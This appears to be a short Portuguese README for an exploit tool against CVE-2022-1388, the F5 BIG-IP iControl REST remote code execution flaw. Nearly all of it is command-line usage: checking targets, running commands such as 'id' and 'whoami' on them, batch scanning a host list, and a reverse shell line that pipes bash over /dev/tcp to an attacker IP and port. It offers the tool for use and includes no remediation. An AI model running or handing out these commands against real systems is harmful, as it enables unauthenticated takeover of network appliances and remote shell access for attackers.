
CVE-2022-1388 F5 BIG-IP iControl REST RCE
Esta vulnerabilidade pode permitir que um atacante não autenticado com acesso à rede ao sistema BIG-IP através da porta de gerenciamento e/ou endereços IP próprios execute comandos arbitrários do sistema, crie ou exclua arquivos, ou desabilite serviços.
Uso básico
python3 CVE_2022_1388.py

Verificação de vulnerabilidade
python3 CVE_2022_1388.py -v true -u https://192.168.17.200

Execução de comando:
python3 CVE_2022_1388.py -a true -u https://192.168.17.200/ -c id

python3 CVE_2022_1388.py -a true -u https://192.168.17.200/ -c whoami

Varredura em lote
python3 CVE_2022_1388.py -s true -f check.txt

Shell Reversa
python3 CVE_2022_1388.py -r true -u https://192.168.17.200 -c "bash -i >&/dev/tcp/192.168.17.175/8888 0>&1"

